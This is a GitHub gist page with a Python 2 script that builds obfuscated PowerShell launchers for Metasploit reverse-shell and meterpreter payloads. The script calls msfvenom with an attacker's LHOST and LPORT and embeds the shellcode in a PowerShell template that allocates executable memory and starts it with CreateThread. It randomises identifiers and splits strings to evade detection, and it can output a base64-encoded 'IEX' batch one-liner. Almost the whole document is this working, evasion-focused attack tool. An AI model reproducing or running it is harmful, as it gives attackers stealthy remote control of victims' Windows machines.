Skip to content

Instantly share code, notes, and snippets.

@NyaMeeEain
Forked from FrankSpierings/ps1encode.py
Created August 5, 2020 02:57
Show Gist options
  • Save NyaMeeEain/608c583b487f5177f2949cf770257caf to your computer and use it in GitHub Desktop.
Save NyaMeeEain/608c583b487f5177f2949cf770257caf to your computer and use it in GitHub Desktop.
Encoder like TrustedSec Unicorn, to allow x64 payloads - I don't like to migrate.
#!/usr/bin/env python2
#
# Example: python2 ps1encoder.py 10.0.0.1 4444 -p windows/x64/meterpreter/reverse_tcp -b > engage.bat
# Example: python2 ps1encoder.py 10.0.0.1 4444 -p windows/x64/meterpreter/reverse_tcp > engage.ps1
import random
import string
import argparse
import base64
import codecs
import subprocess
import sys
MAXCMDSIZE = 8191
ps1template = '''${var_type} = @"
[DllImport({string_kernel32}, EntryPoint={string_VirtualAlloc})]
public static extern IntPtr {name_VirtualAlloc}(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport({string_kernel32}, EntryPoint={string_CreateThread})]
public static extern IntPtr {name_CreateThread}(IntPtr lpAddress, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
${var_import} = Add-Type -MemberDefinition ${var_type} -Name {var_typename} -namespace {var_typenamespace} -passthru;
[Byte[]] ${var_shellcode} = {array_int_shellcode};
${var_memory} = ${var_import}::{name_VirtualAlloc}(0,[Math]::Max(${var_shellcode}.Length,0x1000),0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy(${var_shellcode},0,${var_memory},${var_shellcode}.Length);
${var_import}::{name_CreateThread}(0,0,${var_memory},0,0,0);'''
def eprint(msg):
sys.stderr.write(str(msg))
def randomstring(l, pattern=string.ascii_lowercase):
return ''.join(random.choice(pattern) for _ in range(l))
def obfuscate_shellcode(shellcode):
shellcode = [int(i, 16) for i in shellcode.split(',')]
out = []
for b in shellcode:
if random.randint(0, 1) == 1:
out.append(hex(b))
else:
out.append(str(b))
shellcode = out
nr = random.randint(0, int(len(shellcode) / 4))
out = ''
for i in range(0, len(shellcode), nr):
out += ','.join(shellcode[i:i + nr])
out += ',\n'
return out[:-2]
def obfuscate_name(name):
tmp = name.replace('"', '')
out = ''
while True:
for i in tmp:
if random.randint(0, 2) == 1:
out += '"+"{0}"+"'.format(i)
else:
out += i
out = '"{0}"'.format(out)
if out != name:
return out
def generate(shellcode, debug=False, batch=False):
conf = {'string_kernel32': '"kernel32.dll"',
'string_VirtualAlloc': '"VirtualAlloc"',
'name_VirtualAlloc': 'VirtualAlloc',
'string_CreateThread': '"CreateThread"',
'name_CreateThread': 'CreateThread',
'var_shellcode': 'shellcode',
'var_memory': 'memory',
'var_import': 'imported',
'var_type': 'type',
'var_typename': '"ImportedTypeName"',
'var_typenamespace': '"ImportedTypeNS"',
}
# Obfuscation down here.
if not debug:
for key in conf.keys():
if key.startswith('string_'):
conf[key] = obfuscate_name(conf[key])
elif key.startswith('name_') or key.startswith('var_'):
conf[key] = randomstring(random.randint(3, 12))
conf['array_int_shellcode'] = obfuscate_shellcode(shellcode)
else:
conf['array_int_shellcode'] = shellcode
payload = ps1template.format(**conf)
# Do we need a batch file?
if batch:
# The -config Microsoft.PowerShell can force x64 execution, but it seems available on Powershell 3.0: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_session_configurations?view=powershell-6
# launcher = 'powershell.exe -config Microsoft.PowerShell -noe -out text -sta -c "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String({0}))|IEX"'
launcher = 'powershell.exe -noe -out text -sta -c "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String({0}))|IEX"'
cmd = "'{0}'".format(base64.b64encode(payload))
cmd = launcher.format(cmd)
if len(cmd) < MAXCMDSIZE:
return cmd
else:
# Okay, alternative way.. using environment vars. It is not pretty....
cmd = ''
eprint('Command too large for a one liner....shit')
bsize = 4096
tmp = base64.b64encode(payload)
blocks = [tmp[i:i + bsize] for i in range(0, len(tmp), bsize)]
envvar = randomstring(l=6)
for i in range(0, len(blocks)):
cmd += 'set {0}_{1}={2}\n'.format(envvar, i, blocks[i])
cmd += launcher.format(
"$(ls env:{0}_?|sort -Property Name|%{{$_.Value}}) -join ''".format(envvar).replace('%', '%%'))
return cmd
else:
return payload
def shellcode_generate(payload, lhost, lport, debug=False):
command = ['msfvenom', '-p', payload,
'LHOST={0}'.format(lhost),
'LPORT={0}'.format(lport),
'-f', 'ps1']
if debug:
eprint(command)
p = subprocess.Popen(command,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
out, err = p.communicate()
if debug:
eprint(err)
eprint(out)
matcher = '[Byte[]] $buf = '
if matcher not in out:
raise RuntimeError(err)
else:
out = out.replace('[Byte[]] $buf = ', '')
return out
def main():
parser = argparse.ArgumentParser(
description='Outputs an obfuscated Powershell meterpreter launcher.')
parser.add_argument(
'-d',
'--debug',
help="Don't obfuscate the PowerShell script.",
action='store_true')
parser.add_argument(
'-b',
'--batch',
help="Create a batch command.",
action='store_true')
parser.add_argument(
'-p',
'--payload',
help='Payload (default: windows/x64/meterpreter/reverse_tcp)',
default="windows/x64/shell_reverse_tcp")
parser.add_argument(
'lhost',
help='LHOST')
parser.add_argument(
'lport',
help='LPORT')
args = parser.parse_args()
shellcode = shellcode_generate(
payload=args.payload,
lhost=args.lhost,
lport=args.lport,
debug=args.debug)
print(generate(shellcode, debug=args.debug, batch=args.batch))
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment